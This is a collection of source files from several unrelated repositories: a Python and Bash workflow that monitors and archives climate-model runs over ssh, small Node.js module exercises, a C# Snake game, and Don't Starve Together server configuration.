"secondToLastYearMonth: ", secondToLastYearMonth #print "secondToLastMonth: ", secondToLastMonth #print "secondToLastDay: ", secondToLastDay #print "numDaysInMonth: :", numDaysInMonth if (endDateYearMonth == lastYearMonth): yearComplete = True #if (endDateYearMonth == secondToLastYearMonth): # if (secondToLastMonth != "02" and secondToLastDay == numDaysInMonth): # yearComplete = True # elif (secondToLastMonth == "02" and (secondToLastDay == '28' or secondToLastDay == '29')): # yearComplete = True return yearComplete def removeAllLinesMatching(matchString, lines): newLines = [] for line in lines: if line.find(matchString) == -1: newLines.append(line) return newLines def executeSystemCmdAndCollectOutput(systemCommand): print systemCommand subProcess = subprocess.Popen(systemCommand, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) cmdOut, cmdErr = subProcess.communicate() return cmdOut def extractYmdFromLine(ymdLines, lineFromBottom, splitNumber): numLines = len(ymdLines) lastLine = ymdLines[numLines - lineFromBottom] lastLineSplit = lastLine.split(',') ymd = lastLineSplit[splitNumber] return ymd.strip() def usage (): print "Usage: MakeNameLists.py [-f][-e]" print "-p Full path remote stdout file" print "-e Full path to experiment's env file" sys.exit (0) def extractEnvVariable(expEnvLines, searchString): matching = [s for s in expEnvLines if searchString in s] if len(matching) < 1: return None print matching matchArray = matching[0].split('=') matchQuotes = matchArray[1] matchArray = matchQuotes.split("\"") print "matchArray: ", matchArray if len(matchArray) > 1: match = matchArray[1] else: match = matchArray[0] return match.strip() def unableToObtainYmdInfo(sleepSeconds, stdoutLines): print "Unable to obtain ymd information from stdout file at this time." print "stdoutLines:", stdoutLines time.sleep(int(sleepSeconds)) print "Exiting DetermineModelTimeStep.py" sys.stdout.flush() sys.exit(0) import getopt import sys import os import time import commands import subprocess from IoRoutines import IoRoutines NUM_ARGS=2 NUM_SPLIT_ARGS=5 ioRoutines = IoRoutines() # Get options from command line optList, argList = getopt.getopt(sys.argv[1:],'f:e:') if len (optList) != NUM_ARGS: usage () stdoutFileName = optList[0][1] expEnvFile = optList[1][1] try: expEnvLines = ioRoutines.readFile(expEnvFile) except: print "Check the file: ", expEnvFile sys.exit(-1) machineName = extractEnvVariable(expEnvLines, "export MACH=" ) userName = extractEnvVariable(expEnvLines, "export NED_USER=" ) successString = extractEnvVariable(expEnvLines, "export SUCCESS_STRING=" ) searchString = extractEnvVariable(expEnvLines, "export YMD_STRING=" ) lastStdoutLine = extractEnvVariable(expEnvLines, "export lastStdoutLine=" ) sleepSeconds = extractEnvVariable(expEnvLines, "export SLEEP_SECONDS=" ) if machineName == None or userName == None or successString == None or searchString == None: print "MACH, NED_USER, and SUCCESS_STRING need to be defined in the environment" sys.exit(-1) # first check if the job has already completed successfully systemCommand = 'ssh ' + userName + '@' + machineName + " tail -n 1000 " + stdoutFileName + " | grep " + "\"" + successString + "\"" cmdOut = executeSystemCmdAndCollectOutput(systemCommand) completeSuccessfulJob = False if len(cmdOut) != 0: completeSuccessfulJob = True print "has the job completed successfully? ", completeSuccessfulJob # start a process and get the process output systemCommand = 'ssh ' + userName + '@' + machineName + " tail -n 1000 " + stdoutFileName + " | grep " + "\"" + searchString +"\"" print systemCommand cmdOut = executeSystemCmdAndCollectOutput(systemCommand) print cmdOut if (len(cmdOut) != 0): ymdLines = cmdOut.split(searchString) lastYmd = extractYmdFromLine(ymdLines, 1, NUM_SPLIT_ARGS) print "lastYmd: ", lastYmd newYmdLines = removeAllLinesMatching (lastYmd, ymdLines) print "newYmdLines: ", newYmdLines print "len of newYmdLines: ", len(newYmdLines) if (len(newYmdLines) > 1 ): secondToLastYmd = extractYmdFromLine(newYmdLines, 1, NUM_SPLIT_ARGS) newLastStdoutLine = getLastLinefromCmd(len, cmdOut) ioRoutines.writeToFile (["export lastStdoutLine=" + newLastStdoutLine], expEnvFile) else: unableToObtainYmdInfo(sleepSeconds, newYmdLines) else: systemCommand = 'ssh ' + userName + '@' + machineName + " tail -n 1000 " + stdoutFileName cmdOut = executeSystemCmdAndCollectOutput(systemCommand) stdoutLines = cmdOut.split("\n") unableToObtainYmdInfo(sleepSeconds, stdoutLines) print "UPDATE: current YMD: ", lastYmd # if the current job has completed, a few things could be true: # 1. The year is complete and the calling task shouldn't be called again. # 2. The year is not complete. The next month is waiting in queue. # 3. The year is not complete and although the last month finished successfully, the other jobs won't run. # Option 3 is tricky to determine. dayEndDict = {'12': '31', '11': '30', '10': '31', '09': '30', \ '08': '31', '07': '31', '06': '30', '05': '31', \ '04':'30', '03':'31', '02':'28', '01':'31'} if (completeSuccessfulJob == True): endDate = extractEnvVariable(expEnvLines, "export CURRENT_END_DATE=") if endDate == None: print "Check CURRENT_END_DATE" sys.exit(-1) endDateYearMonth = endDate[0:6] secondToLastYearMonth = secondToLastYmd[0:6] secondToLastMonth = secondToLastYmd[4:6] secondToLastDay = secondToLastYmd[6:8] numDaysInMonth = dayEndDict[secondToLastYmd[4:6]] yearComplete = determineIfYearIsComplete(endDateYearMonth, lastYmd[0:6]) #secondToLastYearMonth, \ #secondToLastMonth, secondToLastDay, numDaysInMonth) if (yearComplete == True): sys.exit(1) else: sys.exit(0) # has the model crashed? # if not, sleep and exit else: if (lastStdoutLine != None and lastStdoutLine.strip() == newLastStdoutLine.strip()): print "The model may have crashed!" sys.exit(254) else: print "The current job appears to be time stepping... sleeping" time.sleep(int(sleepSeconds)) print "Exiting DetermineModelTimeStep.py" sys.stdout.flush() sys.exit(0) <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / SSAI # DATE: July 31, 2013 # # DESCRIPTION: # This script will increment the input date by one day # # Execute this script by typing : # python incrdate.py <yyyymmdd> # #------------------------------------------------------------------------------ __author__ = '<NAME>' __version__ = '0.0' __date__ = '2013/31/07' import datetime import sys #Parse 8-digit input inputDate = sys.argv[1] inYr = int(inputDate[0:4]) inMonth = int(inputDate[4:6]) inDay = int(inputDate[6:8]) date = datetime.datetime(inYr, inMonth, inDay) #Increment by one day nextDate = date + datetime.timedelta(days=1) #Output in proper format print nextDate.strftime('%Y%m%d') <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" export yearDirectory=$WORK_DIR/completed/$YEAR echo "----------------------------" echo "Copying $yearDirectory to $ARCHIVE_DIR" echo "------------------------" echo "" # check if year directory already exists in archive echo "ssh $NED_USER@$MACH cd $ARCHIVE_DIR/$YEAR ;pwd" ssh $NED_USER@$MACH "cd $ARCHIVE_DIR/$YEAR ;pwd" export outputCode=$? export xFlag="" if [ "$TRANSFER_CMD" == "cp" ]; then export xFlag="-R" fi # if the archive year directory exists, then traverse each directory in $WORK_DIR/$YEAR if [ "$outputCode" == "0" ]; then echo "archive directory exists: $outputCode" # first handle each sub-directory directories=( diagnostics run_info stations ) for directory in "${directories[@]}" do echo "ssh $NED_USER@$MACH cd $ARCHIVE_DIR/$YEAR/$directory" ssh $NED_USER@$MACH cd $ARCHIVE_DIR/$YEAR/$directory export outputCode=$? # if the sub-directory already exists, copy the files over echo "$ARCHIVE_DIR/$YEAR/$directory exists? $outputCode" if [ "$outputCode" == "0" ]; then echo "Copying $directory files to existing archive directory." # Switched from "cp" to "find -exec cp" to avoid [Argument list too long] error on OS X echo "ssh $NED_USER@$MACH find $yearDirectory/$directory -maxdepth 1 -name \"*\" -exec $TRANSFER_CMD {} $ARCHIVE_DIR/$YEAR/$directory \;" #ssh $NED_USER@$MACH $TRANSFER_CMD $yearDirectory/$directory/* $ARCHIVE_DIR/$YEAR/$directory ssh $NED_USER@$MACH "find $yearDirectory/$directory -maxdepth 1 -name \"*\" -exec $TRANSFER_CMD {} $ARCHIVE_DIR/$YEAR/$directory \;" export outputCode=$? if [ "$outputCode" == "0" ]; then echo "Success copying files to existing directory" else echo "Error copying $directory files to existing directory" exit -1 fi # if the sub-directory doesn't exist, then copy the whole sub-directory over else echo "Copying $directory to $ARCHIVE_DIR/$YEAR" echo "ssh $NED_USER@$MACH $TRANSFER_CMD $xFlag $yearDirectory/$directory $ARCHIVE_DIR/$YEAR/" ssh $NED_USER@$MACH $TRANSFER_CMD $xFlag $yearDirectory/$directory $ARCHIVE_DIR/$YEAR/ export outputCode=$? if [ "$outputCode" == "0" ]; then echo "Success copying the entire directory" else echo "Error copying the directory $directory" exit -1 fi fi done echo "Now copying netcdf files from $yearDirectory to $ARCHIVE_DIR/$YEAR" echo "ssh $NED_USER@$MACH $TRANSFER_CMD $yearDirectory/*.nc $ARCHIVE_DIR/$YEAR/" ssh $NED_USER@$MACH $TRANSFER_CMD $yearDirectory/*.nc $ARCHIVE_DIR/$YEAR/ export outputCode=$? if [ "$outputCode" == "0" ]; then echo "Success copying the netcdf files in $WORK_DIR/$YEAR" else echo "Error copying the netcdf files in $WORK_DIR/$YEAR" exit -1 fi # if the year directory does not exist, then copy the entire thing elif [ "$outputCode" == "2" ] || [ "$outputCode" == "1" ]; then # if [ "$TRANSFER_CMD" == "cp" ]; then # export TRANSFER_CMD="cp -R" # fi echo "$ARCHIVE_DIR/$YEAR does not exist: $outputCode" echo "Now copying the entire year directory to archive directory" echo "ssh $NED_USER@$MACH $TRANSFER_CMD $xFlag $yearDirectory $ARCHIVE_DIR" ssh $NED_USER@$MACH $TRANSFER_CMD $xFlag $yearDirectory $ARCHIVE_DIR/ export outputCode=$? if [ "$outputCode" == "0" ]; then echo "Success copying $yearDirectory to $ARCHIVE_DIR" else echo "Failed copying $yearDirectory to $ARCHIVE_DIR!!!" exit -1 fi else echo "Do not understand this code: $outputCode" exit -1 fi echo "Success. Exiting" exit 0 # now write task to see if file numbers match echo "Remove: $yearDirectory"
250490ae3a5e8fafcd54b91a2c67c9925f463b4d
[ "Markdown", "C", "Python", "Shell" ]
79
Shell
megandamon/GmiProduction
be819644cfc2d1102b952ef67393fc2f8d84662f
f3b09332b38921356656cb0fb003d9f635030966
refs/heads/master
<repo_name>vmikhaylov/otus-python<file_sep>/hw1/log_analyzer.py #!/usr/bin/env python # -*- coding: utf-8 -*- # log_format ui_short '$remote_addr $remote_user $http_x_real_ip [$time_local] "$request" ' # '$status $body_bytes_sent "$http_referer" ' # '"$http_user_agent" "$http_x_forwarded_for" "$http_X_REQUEST_ID" "$http_X_RB_USER" ' # '$request_time'; import os import argparse import gzip import json import re import operator import math import datetime import collections LOG_REGEXP = 'nginx-access-ui.log-([0-9]+)[.]gz$' config = { "REPORT_SIZE": 1000, "REPORT_DIR": "./reports", "REPORT_TEMPLATE": "./report.html", "LOG_DIR": "./log" } def process(fin): urls_times = collections.defaultdict(list) num_logs = 0 total_time = 0 for log_line in fin: num_logs += 1 split_line = log_line.split('"') request, request_time = (split_line[1], float(split_line[-1])) split_request = request.split() if len(split_request) > 1: url = request.split()[1] urls_times[url].append(request_time) total_time += request_time urls_stat = calc_urls_stat(urls_times, num_logs, total_time) json_stat = json.dumps(urls_stat[:config['REPORT_SIZE']]) return json_stat def calc_urls_stat(urls_times, num_logs, total_time): urls_stat = [] for url, times in urls_times.iteritems(): times = sorted(times) count = len(times) time_sum = sum(times) url_stat = { 'url': url, 'count': count, 'count_perc': round(count * 100.0 / num_logs, 3), 'time_max': max(times), 'time_p50': calc_perc(times, 50), 'time_p95': calc_perc(times, 95), 'time_p99': calc_perc(times, 99), 'time_perc': round(time_sum * 100.0 / total_time, 3), 'time_sum': round(time_sum, 3), } urls_stat.append(url_stat) urls_stat = sorted( urls_stat, key=operator.itemgetter('time_perc', 'time_sum'), reverse=True ) return urls_stat def calc_perc(sorted_values, perc): position = int(math.ceil(len(sorted_values) / 100.0 * perc)) - 1 return sorted_values[position] def main(): parser = argparse.ArgumentParser() parser.add_argument( '--log_path', help='log file to process', required=False ) parser.add_argument( '--json', action='store_true' ) args = parser.parse_args() if args.log_path: log_path = args.log_path else: log_filenames = os.listdir(config['LOG_DIR']) if not log_filenames: return last_log_filename = sorted(log_filenames)[-1] log_path = '{}/{}'.format(config['LOG_DIR'], last_log_filename) date_str = re.sub(LOG_REGEXP, r'\1', os.path.basename(log_path)) last_log_date = datetime.datetime.strptime(date_str, '%Y%m%d') format = 'json' if args.json else 'html' report_path = '{}/report-{}.{}'.format( config['REPORT_DIR'], last_log_date.strftime('%Y.%m.%d'), format ) if os.path.exists(report_path): print 'report already exists' return if not os.path.exists(os.path.dirname(report_path)): os.makedirs(os.path.dirname(report_path)) if log_path.endswith('gz'): with gzip.open(log_path, 'rb') as fin: table_json = process(fin) else: with open(log_path, 'rb') as fin: table_json = process(fin) try: with open(report_path, 'wb') as report_file: if args.json: report_file.write(table_json) else: with open(config['REPORT_TEMPLATE'], 'rb') as report_template: for line in report_template: line = line.replace('$table_json', table_json) report_file.write(line) except: os.remove(report_path) if __name__ == "__main__": main() <file_sep>/hw1/deco.py #!/usr/bin/env python # -*- coding: utf-8 -*- import itertools from functools import update_wrapper def disable(function): ''' Disable a decorator by re-assigning the decorator's name to this function. For example, to turn off memoization: >>> memo = disable ''' return function def decorator(deco): ''' Decorate a decorator so that it inherits the docstrings and stuff from the function it's decorating. ''' def deco_wrapper(function): wrapper = deco(function) update_wrapper(wrapper, function) return wrapper return deco_wrapper @decorator def countcalls(function): '''Decorator that counts calls made to the function decorated.''' def count_wrapper(*args, **kwargs): count_wrapper.calls += 1 return function(*args, **kwargs) count_wrapper.calls = 0 return count_wrapper @decorator def memo(function): ''' Memoize a function so that it caches all return values for faster future lookups. ''' cache = {} def memo_wrapper(*args, **kwargs): key = args, frozenset(kwargs.items()) if key not in cache: cache[key] = function(*args, **kwargs) update_wrapper(memo_wrapper, function) return cache[key] return memo_wrapper @decorator def n_ary(function): ''' Given binary function f(x, y), return an n_ary function such that f(x, y, z) = f(x, f(y,z)), etc. Also allow f(x) = x. ''' def n_ary_wrapper(*args, **kwargs): if len(args) == 1: return args[0] else: return function(args[0], n_ary_wrapper(*args[1:])) return n_ary_wrapper def trace(trace_symbols): '''Trace calls made to function decorated. @trace("____") def fib(n): .... >>> fib(3) --> fib(3) ____ --> fib(2) ________ --> fib(1) ________ <-- fib(1) == 1 ________ --> fib(0) ________ <-- fib(0) == 1 ____ <-- fib(2) == 2 ____ --> fib(1) ____ <-- fib(1) == 1 <-- fib(3) == 3 ''' @decorator def trace_deco(function): def trace_wrapper(*args, **kwargs): func_call_str = _func_call_str(*args, **kwargs) print '%s%s%s' % ( trace_wrapper.recursion_level * trace_symbols, ' --> ', func_call_str ) trace_wrapper.recursion_level += 1 result = function(*args, **kwargs) trace_wrapper.recursion_level -= 1 print '%s%s%s == %s' % ( trace_wrapper.recursion_level * trace_symbols, ' <-- ', func_call_str, result ) return result def _func_call_str(*args, **kwargs): string = function.__name__ string += '(' for index, arg in enumerate(itertools.chain(args, kwargs.values())): string += str(arg) if index < len(args) - 1: string += ', ' string += ')' return string trace_wrapper.recursion_level = 0 return trace_wrapper return trace_deco @memo @countcalls @n_ary def foo(a, b): return a + b @countcalls @memo @n_ary def bar(a, b): return a * b @countcalls @trace("####") @memo def fib(n): """Calculates n-th Fibonacci number""" return 1 if n <= 1 else fib(n-1) + fib(n-2) def main(): print foo(4, 3) print foo(4, 3, 2) print foo(4, 3) print "foo was called", foo.calls, "times" print bar(4, 3) print bar(4, 3, 2) print bar(4, 3, 2, 1) print "bar was called", bar.calls, "times" print fib.__doc__ fib(3) print fib.calls, 'calls made' if __name__ == '__main__': main() <file_sep>/README.md ### Author <NAME> slack: <NAME> (@vemikhaylov) email: <EMAIL>
24af902413ed30d28ea814b957347ff6c40bcae3
[ "Markdown", "Python" ]
3
Python
vmikhaylov/otus-python
c4f64e6e8fd5050aec8bd618c468832785411d59
e57b989b6ee218826bf87a43817924b614256580
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using System.Drawing; namespace snakeDemo { class Food { public Label foodBox = new Label(); int spawnX, spawnY; // x and y vars to randomly set from gameCanvas based on canvas size public Food() { } public void setFoodProperties() { foodBox.Width = 16; foodBox.Height = 16; foodBox.Location = new Point(spawnX, spawnY); foodBox.BackColor = Color.Red; } // mutators for spawnX and spawnY vars public void setX(int x) { spawnX = x; } public void setY(int y) { spawnY = y; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace snakeDemo { public partial class gameCanvas : Form { Snake snakee = new Snake(); // create new instance for Snake object Label scoreDisplay = new Label(); // create control/object for score display label Food foodd = new Food(); // create new instance for Food object border borderr = new border(); // create new instance for border object bool up, down, left, right; // vars to control snake movement via key press bool firstFoodIsSpawned = false; // bool only allow Controls.Add() to execute once for initial food spawn bool isGameOver = false; // bool to flag a gameover; so multiple game over collision checks do not occur in collisionCheck timer int score = 0; public gameCanvas() { InitializeComponent(); // set window/canvas size this.Width = 525; this.Height = 525; this.MinimumSize = new Size(this.Width, this.Height); this.MaximumSize = new Size(this.Width, this.Height); spawnInitialSnake(); // call to spawn initial snake right = true; // set default direction spawnFood(); // call to spawn food spawnBorder(); // spawns border createScoreLabel(); } private void spawnInitialSnake() { for (int i = 0; i < snakee.getSize(); i++) { Controls.Add(snakee.snakeBody[i]); } } private void Form1_KeyDown(object sender, KeyEventArgs e) { // switch statement that controls movement boolean vars via key press switch (e.KeyCode) { case Keys.Up: { if (down == false) { up = true; down = false; left = false; right = false; } break; } case Keys.Down: { if (up == false) { up = false; down = true; left = false; right = false; } break; } case Keys.Left: { if (right == false) { up = false; down = false; left = true; right = false; } break; } case Keys.Right: { if (left == false) { up = false; down = false; left = false; right = true; } break; } case Keys.R: { Application.Restart(); break; } } } private void movementTimer_Tick(object sender, EventArgs e) { // 0 = right ; 1 = left; 2 = up ; 3 = down if (left == true) { snakee.setDirection(1); snakee.moveSnake(); } else if (right == true) { snakee.setDirection(0); snakee.moveSnake(); } else if (up == true) { snakee.setDirection(2); snakee.moveSnake(); } if (down == true) { snakee.setDirection(3); snakee.moveSnake(); } } // function/method to spawn food within boundaries of the game canvas private void spawnFood() { // bool value check in place to execute Controls.Add() on its first spawn if (firstFoodIsSpawned == false) { firstFoodIsSpawned = true; Random randd = new Random(); foodd.setX(randd.Next(snakee.getSpeed() * 2, this.Width - 200)); foodd.setY(randd.Next(snakee.getSpeed() * 2, this.Height - 200)); foodd.setFoodProperties(); Controls.Add(foodd.foodBox); } // spawns food at specified coordinates correlating within the boundaries of thew game canvas Random rand = new Random(); foodd.setFoodProperties(); foodd.setX(rand.Next(snakee.getSpeed(), this.Width - 100)); foodd.setY(rand.Next(snakee.getSpeed(), this.Height - 100)); foodd.setFoodProperties(); // checks to se if food spawned on top of a snake piece. If it does, run spawnFood() again to give it another random location to spawn at for (int i = 1; i < snakee.snakeBody.Count; i++) { if (foodd.foodBox.Bounds.IntersectsWith(snakee.snakeBody[i].Bounds)) spawnFood(); } } private void collisionCheck_Tick(object sender, EventArgs e) { // checks to see if the snake's head collided with the food object. Will respawn the food in a different location, add a snake piece to its body, and increment the score value. if (snakee.snakeBody[0].Bounds.IntersectsWith(foodd.foodBox.Bounds)) { score++; foodd.foodBox.Location = new Point(-100, -100); snakee.addPiece(); Controls.Add(snakee.snakeBody[snakee.snakeBody.Count - 1]); spawnFood(); if (movementTimer.Interval > 10) movementTimer.Interval -= 2; } // checks to see if the snake's head collided with any of the 4 border objects. using foreach to avoid using multiple if statements foreach (Control c in this.Controls) { if (c.Name == "top" || c.Name == "bottom" || c.Name == "right" || c.Name == "left") { if (snakee.snakeBody[0].Bounds.IntersectsWith(c.Bounds) && isGameOver == false) { // will take every body piece and send it to a bogus location to then dispose of each object. for (int i = 0; i < snakee.snakeBody.Count; i++) { snakee.snakeBody[i].Location = new Point(-100, -100); snakee.snakeBody[i].Dispose(); } isGameOver = true; movementTimer.Stop(); // stops movement timer; collisionCheck.Stop(); MessageBox.Show("Game Over!" + System.Environment.NewLine + "Final Score: " + score + System.Environment.NewLine + "Press R To Restart", "Game Over!"); // displays game over in a winform message box } } } for (int i = 1; i < snakee.snakeBody.Count; i++) // starts at 1 so the head doesnt check for first piece upon initial spawn, fixing instant game over bug { if (snakee.snakeBody[0].Bounds.IntersectsWith(snakee.snakeBody[i].Bounds) && isGameOver == false) { // will take every body piece and send it to a bogus location to then dispose of each object. for (int j = 0; j < snakee.snakeBody.Count; j++) { snakee.snakeBody[j].Location = new Point(-100, -100); snakee.snakeBody[j].Dispose(); } isGameOver = true; movementTimer.Stop(); // stops movement timer; collisionCheck.Stop(); MessageBox.Show("Game Over!" + System.Environment.NewLine + "Final Score: " + score + System.Environment.NewLine + "Press R To Restart", "Game Over!"); // displays game over in a winform message box } } scoreDisplay.Text = Convert.ToString(score); // updates score display label } // method/function to set border object properties in border and spawn borders into the canvas. Borders are relative to canvas size, so the game canvas window can be any desires size. see constructor to change size of the game canvas. private void spawnBorder() { // sets top and bottom borders x and y coordinates, as well as their width and height according to size of canvas borderr.top.Left = 0; borderr.top.Top = -40; borderr.bottom.Left = 0; borderr.bottom.Top = this.Height - 50; borderr.setVWidth(this.Width); borderr.setVHeight(50); // sets left and right borders x and y coordinates, as well as their width and height according to size of canvas borderr.left.Left = -40; borderr.left.Top = 0; borderr.right.Left = this.Width - 28; borderr.right.Top = 0; borderr.setHHeight(this.Height); borderr.setHWidth(50); //spawn border objects and update their properties Controls.Add(borderr.top); Controls.Add(borderr.bottom); Controls.Add(borderr.left); Controls.Add(borderr.right); borderr.setVerticalBarsProperites(); borderr.setHorizontalBarProperties(); } private void createScoreLabel() { scoreDisplay.ForeColor = Color.White; scoreDisplay.Location = new Point(10, 10); scoreDisplay.Text = "0"; Controls.Add(scoreDisplay); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using System.Drawing; namespace snakeDemo { class border { int hWidth, hHeight; // horizontal border data vars int vWidth, vHeight; // vertical border data vars // border objects in form of Labels public Label top = new Label(); public Label bottom = new Label(); public Label left = new Label(); public Label right = new Label(); public border() { setVerticalBarsProperites(); setHorizontalBarProperties(); } public void setVerticalBarsProperites() { top.Size = new Size(vWidth, vHeight); top.Name = "top"; //setting names for use of foreach collision check in collisionCheck timer in gameCanvas bottom.Size = new Size(vWidth, vHeight); bottom.Name = "bottom"; top.BackColor = Color.Blue; bottom.BackColor = Color.Blue; } public void setHorizontalBarProperties() { left.Size = new Size(hWidth, hHeight); left.Name = "left"; //setting names for use of foreach collision check in collisionCheck timer in gameCanvas right.Size = new Size(hWidth, hHeight); right.Name = "right"; //setting names for use of foreach collision check in collisionCheck timer in gameCanvas left.BackColor = Color.Blue; right.BackColor = Color.Blue; } //mutators for width and height of border objects. Using mutators to set the properites of all horizontal and vertical borders at once in gameCanvas public void setHWidth(int width) { hWidth = width; } public void setHHeight(int height) { hHeight = height; } public void setVWidth(int width) { vWidth = width; } public void setVHeight(int height) { vHeight = height; } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using System.Drawing; namespace snakeDemo { class Snake { public List<Label> snakeBody = new List<Label>(); int size = 5; // default size var of body pieces; int widthHeight = 16; int speed = 18; // speed that snake is moving per pixel on canvas (SHOULD BE THE SAME AS THE SNAKE'S WIDTH AND HEIGHT (controlled by widthHeight var) OR UNEXPECTED RESULTS MAY OCCUR) int defaultX = 150; // for use in initial x coordinate spawning of snake body; snake will spawn horizontaly int direction = 0; // var to handle switch case for directions public Snake() { setSnakeProperties(); } private void setSnakeProperties() { // loop to handle initial body spawning for the snake for (int i = 0; i < size; i++) { snakeBody.Add(new Label()); snakeBody[i].Width = widthHeight; snakeBody[i].Height = widthHeight; snakeBody[i].Location = new Point(defaultX, 150); snakeBody[i].BackColor = Color.Green; defaultX -= widthHeight; // using widthHeight's int value to space out each body piece evenly on initial spawn of the snake body } } private void controlSnakeBody() { // loop to control movement of the entire snake body. Simplest algorithm to use. Starts moving the snake from the tail to the head. for (int i = snakeBody.Count - 1; i > 0; i--) { snakeBody[i].Left = snakeBody[i - 1].Left; snakeBody[i].Top = snakeBody[i - 1].Top; } } public void moveSnake() { // controls direction on where the snake is moving. the first moving part of the snake body is the head. body movement updates via controlSnakeBody() switch (direction) { case 0: { controlSnakeBody(); snakeBody[0].Left += speed; break; } case 1: { controlSnakeBody(); snakeBody[0].Left -= speed; break; } case 2: { controlSnakeBody(); snakeBody[0].Top -= speed; break; } case 3: { controlSnakeBody(); snakeBody[0].Top += speed; break; } } } // method/function to add piece to the snake body. adds an element to the snakeBody list, sets new pieces properties, and sets coords to place it near the tail upon spawn public void addPiece() { snakeBody.Add(new Label()); snakeBody[snakeBody.Count - 1].Width = widthHeight; snakeBody[snakeBody.Count - 1].Height = widthHeight; snakeBody[snakeBody.Count - 1].Location = new Point(snakeBody[snakeBody.Count - 1].Location.X, snakeBody[snakeBody.Count - 1].Location.Y); snakeBody[snakeBody.Count - 1].BackColor = Color.Green; } // accessor for default size variable and speed public int getSize() { return size; } public int getSpeed() { return speed; } // mutator to set direction from gameCanvas public void setDirection(int dir) { direction = dir; } } } <file_sep># Snake Concept demo of a recreation of the classic Snake game. This code applies everything I learned in my first programming class at FIU (COP 2210), including - Arrays, 2D arrays, and array lists - Creating custom classes - Calling classes from one class to another - making custom methods/functions - Accessors and mutators - Switch statements - Access types - Drawing GUI objects to a canvas such as a WinForm (JFRAME in java) and much more. The concept demo features - Original snake movements - random spawning of food when eaten (and also checks if it spawns on top of the snake to give it another random spawn location) - Borders - Score display Fully coded in C#. -- Slink
59f14d6661b9ad565c3d8a5bc2a98640604686ed
[ "Markdown", "C#" ]
5
C#
slinksoft/Snake
bc5a87ebc682d88da7b1ee238804a67c239be80f
343b3152a900528a32b63349ff24dd91d199c3b7
refs/heads/master
<repo_name>estherxaviour/Assignments_Part8JS<file_sep>/Assignment3/Assignment3.js //Assignment 3 var http = require('http'); var assignment2 = require('assignment2'); var server = http.createServer(function (request, response) { response.writeHead(200, {"Content-Type": "text/plain"}); var value = "This is a test of assignment2 module"; value = assignment2.upperCase(value); response.end(value); }); server.listen(3000); console.log("Server running at http://127.0.0.1:3000/"); <file_sep>/Assignment1.js /* Assignment1 You need to create NodeJS app and install any node module locally/globally using NPM and use that module inside your node app.*/ var colors = require('colors'); console.log(colors.green('hello my friends')); // outputs green text ' console.log(colors.white.bold('Miles to go before I sleep')) // outputs bold text console.log(colors.inverse('inverse the color')); // inverses the color console.log(colors.rainbow('Wonderful!')); // rainbow console.log(colors.random('Run the random colours')); // random color <file_sep>/Assignment4/Assignment4.js var http = require('http'); var uuid = require('uuid'); var server = http.createServer(function (request, response) { response.writeHead(200, {"Content-Type": "text/plain"}); console.log(uuid.v1()); response.end(uuid.v1()); }); server.listen(8000); console.log("Server running at http://127.0.0.1:8000/"); //Assignment 4
0a5596da7f6042f860cb1d5514d1bb59b6fdf0d5
[ "JavaScript" ]
3
JavaScript
estherxaviour/Assignments_Part8JS
3cc3e9c5c93d323ca2fbe69ddcba21761153bebb
1bcc3a09608ef1393cbfdde1612352e23fc97dd1
refs/heads/master
<file_sep>[GAMEPLAY] game_mode = survival max_players = 12 pvp = false pause_when_empty = true [NETWORK] lan_only_cluster = false cluster_intention = social cluster_name = Classic UA|RU|BY -- DireX cluster_description = No mods, max 12 player, 24/7 offline_cluster = false cluster_password = [MISC] console_enabled = true language_code = russian [SHARD] shard_enabled = true bind_ip = 127.0.0.1 master_ip = 127.0.0.1 master_port = 10889 cluster_key = defaultPass<file_sep>### Установка сервера (ubuntu / debian) [Ru Wiki](http://ru.dont-starve.wikia.com/wiki/%D0%92%D1%8B%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9_%D1%81%D0%B5%D1%80%D0%B2%D0%B5%D1%80/%D0%92%D0%B5%D1%80%D1%81%D0%B8%D1%8F_%D0%B4%D0%BB%D1%8F_linux "Russian wiki") [En Wiki](https://dontstarve.gamepedia.com/Guides/Don%E2%80%99t_Starve_Together_Dedicated_Servers#Configuration "English Wiki") <file_sep>ServerModSetup("workshop-1079538195") -- Moving Box ServerModSetup("workshop-347079953") -- Display Food Values ServerModSetup("workshop-356420397") -- No More Respawn Penalty ServerModSetup("workshop-361994110") -- Bee Nice ServerModSetup("workshop-369083494") -- Stumps grow ServerModSetup("workshop-375859599") -- Health Info ServerModSetup("workshop-378160973") -- Global Positions ServerModSetup("workshop-466732225") -- No Thermal Stone Durability ServerModSetup("workshop-501385076") -- Quick Pick ServerModSetup("workshop-503919639") -- DST Equipment Switcher ServerModSetup("workshop-755028761") -- Trash Can ServerModSetup("workshop-758532836") -- Global Pause ServerModSetup("workshop-362175979") -- Wormhole Marks [DST] <file_sep>return { --["workshop-503919639"]={ configuration_options={ FIX_EQUIP_NOISE=false }, enabled=true } }<file_sep>[NETWORK] server_port = 11000 default_server_name = direx [SHARD] is_master = true [ACCOUNT] encode_user_path = true [STEAM] master_server_port = 27018 authentication_port = 8768
e157b3910c65c3cef5f441a48844b8a811a05914
[ "Markdown", "INI", "Lua" ]
5
INI
ponich/Dont-Starve-Together---Server-Cluster
969dcc7af74c9c4bbcf5efc590facd0615b3de25
6cd5b48ea74c4dc826615f823ca3095237025c6a
refs/heads/master
